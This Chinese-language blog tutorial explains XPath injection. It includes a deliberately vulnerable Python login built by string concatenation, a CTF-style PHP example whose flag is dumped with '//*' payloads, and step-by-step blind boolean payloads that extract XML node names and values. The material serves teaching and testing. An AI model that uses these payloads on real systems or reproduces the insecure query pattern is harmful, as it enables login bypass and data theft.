浅谈Xpath注入漏洞
创始人
2024-05-31 21:29:44
0

目录

知识简介

攻击简介

基础语法

语法演示

漏洞简介

漏洞原理

漏洞复现

Xpath盲注


知识简介

攻击简介

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。

基础语法

“nodename” – 选取nodename的所有子节点
“/nodename” – 从根节点中选择
“//nodename” – 从当前节点选择
“..” – 选择当前节点的父节点
“child::node()” – 选择当前节点的所有子节点
"@" -选择属性
"//user[position()=2] " 选择节点位置

语法演示

from lxml import etree
xml ='''18male李四24female
'''
tree = etree.XML(xml)
out = tree.xpath('//students')[0][0][0][0].text
print(out)
print('-------------------------------------')
out = tree.xpath('//name')[1].text
print(out)
out = tree.xpath('//name')[1].xpath('@id')
print(out)


-------------------------------------
李四
['ls']

漏洞简介

漏洞原理

XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequest parameters/input

漏洞复现

  • 案例1
  • 正常网站存在如下登录代码
from lxml import etreexml ='''admin123456

'''
tree = etree.XML(xml)
username = input('请输入用户名')
password = input('请输入密码')
out = tree.xpath('/students/student[id/text()="'+username+'" and password/text()="'+password+'"]')
print('登录成功,欢迎您'+out[0][0].text)

正常登陆

不正常登录

" or "1"="1
/students/student[id/text()="admin" and password/text() = "" or "1"="1"]

  • 案例2

index.php

xpath($query);
foreach($ans as $x => $x_value)
{
echo $x.":  " . $x_value;
echo "
"; } } ?>

coleak.xml




user1
KEY:1
user2
KEY:2
user3
KEY:3
user4
KEY:4
user5
KEY:5
user6
KEY:6
user7
KEY:7
user8
KEY:8
user9
KEY:9


hctf
flag:hctf{Dd0g_fac3_t0_k3yboard233}

正常查询

测试 ?user='" 时出现报错,可以确定存在Xpath注入

-1' or 1=1 or ''='
$query="user/username[@name='-1' or 1=1 or ''='']";
1=1为真 ''='' 为真,则可以匹配当前节点下的所有user

']|//*|//*['
$query="user/username[@name='']|//*|//*['';
这里闭合了$user前后的单引号同时执行三个操作,其中第二个操作//*即是关键点,列出文档中的所有元素,最后拿到flag

Xpath盲注

xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息,同样以0x05中的源码为例

Xpath盲注步骤:

  • 判断根节点下的节点数
  • 判断根节点下节点长度&名称
  • .....
  • 重复猜解完所有节点,获取最后的值

从根节点开始判断

'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点

判断根节点下的节点长度

'or string-length(name(/*[1]))=8 or ''='

猜解根节点下的节点名称

'or substring(name(/*[1]), 1, 1)='a'  or ''='
'or substring(name(/*[1]), 2, 1)='c'  or ''='
..
'or substring(name(/*[1]), 8, 1)='s'  or ''='

猜解出该节点名称为accounts

'or count(/accounts)=1  or ''='   /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''='     /accounts下有两个节点
'or string-length(name(/accounts/*[1]))=4  or ''='    第一个子节点长度为4

猜解accounts下的节点名称

'or substring(name(/accounts/*[1]), 1, 1)='u'  or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r'  or ''='

accounts下子节点名称为user

'or count(/accounts/user)=2  or ''='    user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点

第一个user节点的子节点长度为8:
'or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ''='

读取user节点的下子节点

'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s'  or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e'  or ''='

最终所有子节点值验证如下:

'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username'  or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email'  or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype'  or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password'  or ''='

继续猜解:

'or count(/accounts/user[position()=1]/username/*)>0 or ''='   
'or count(/accounts/user[position()=1]/email/*)>0 or ''=' 
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='

均为 false,不再有子节点,则可以尝试读取这些节点的值

第一个user下的username值长度为6:

'or string-length((//user[position()=1]/username[position()=1]))=6  or ''='

读取第一个user下usernaem的值

'or substring((//user[position()=1]/username[position()=1]),1,1)='T'  or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e'  or ''='

可依次读取所有的子节点的值,第二user节点的子节点值读取方式:

'or string-length((//user[position()=2]/username[position()=1]))=4 or ''='  第一个user下的username长度为4
......

重复上边步骤即可

相关内容

热门资讯

全省基层公共就业创业经办能力提...   本报讯 记者孙潇报道 日前,为期3天的全省基层公共就业创业经办能力提升培训在昆明启动。  此次培...
清明假期国铁昆明局预计发送旅客...   本报讯 记者王绍芬报道 4月3日,记者从中国铁路昆明局集团有限公司(以下简称“国铁昆明局”)获悉...
春景图里的“科技范” 转自:贵州日报 贵州日报天眼新闻记者 杨小友沃野逐春光,田畴织锦绣。清明前后,贵州广袤大地上,春耕生...
充分发挥科技领军企业龙头作用 “发挥科技领军企业龙头作用,加强企业主导的产学研深度融合,从制度上保障企业参与国家科技创新决策、承担...
深化中国与东盟国家经贸合作 东盟是中国周边外交的优先方向和高质量共建“一带一路”重点地区,2025年是中国—东盟自贸区成立15周...
打击违法开垦林地草地专项行动将... 转自:辽宁日报 本报讯 记者刘璐报道 近年来,受利益驱动,我省开垦林地、草地违法行为由零散型、小面积...
直男与暖男的区别,你get到了... 直男与暖男的区别,你get到了吗直男和暖男我觉得并没有多大的区别,如果非要说区别的话,直男说话更直接...
怎样让自己不那么在乎一些不是很... 怎样让自己不那么在乎一些不是很重要的事情?尽量往好的方面去想,要知道,生活中无关紧要的事太多,但是重...
希尔顿集团财务共享中心于南京正... 创新引领酒店业财务管理高质量发展上海2025年4月3日 /美通社/ -- 全球领先的酒店管理公司希尔...
感冒时运动,小心你的心脏哦   随着春天的到来,气温逐渐回升,运动爱好者纷纷摩拳擦掌,准备大展身手。小李是一名跑步爱好者,早上在...
色彩的对比关系. 色彩的对比关系.色彩的对比关系主要是指相邻的__________或者__________的色彩之间所...
男主傅擎夜 女主苏岚的小说叫什... 男主傅擎夜 女主苏岚的小说叫什么名字《重回十七岁》。《重回十七岁》的作者是秦久九,一共544章,状态...
猫和狗打架的时候,为什么大多数... 猫和狗打架的时候,为什么大多数都是猫厉害?因为猫打架的时候尾巴会竖起来,会把狗吓跑,而且猫爪比较有力...
月圆,饼圆,心愿圆圆;日圆,月... 月圆,饼圆,心愿圆圆;日圆,月圆,团团圆圆;官源,财源,左右逢源!人缘,福缘,缘缘不断!情愿,心愿(...
我最喜欢的主人公是灰姑娘,为什... 我最喜欢的主人公是灰姑娘,为什么?你喜欢淳朴善良的人因为她温柔、漂亮、善良,说明你喜欢那样的女孩子。...
有鱼的成语 有鱼的成语鱼肉百姓、放长线钓大鱼、水清无鱼、鲁鱼亥豕、鱼贯而行、雀马鱼龙、釜底游鱼、鱼沉雁渺、池鱼林...
IPO鹰眼预警|悍高集团上市触... Hehson财经上市公司研究院|财报鹰眼预警悍高集团股份有限公司(以下简称“悍高集团”)拟计划在深圳...
中西医“携手”寻找百姓健康更优... 转自:辽宁日报 本报讯 记者王敏娜报道 看病到底选中医还是西医?不少人可能有过这样的纠结。中西医“携...
抢生产拓市场 转自:贵州日报 本报讯(记者 莫宇)4月1日,贵州众联新能源科技有限公司生产车间一派繁忙景象,工人们...
南宁地铁延长运营时间方便市民出...   本报讯(记者杨玲 通讯员潘良健)记者从南宁轨道交通运营有限公司了解到,为满足广大市民乘客清明假期...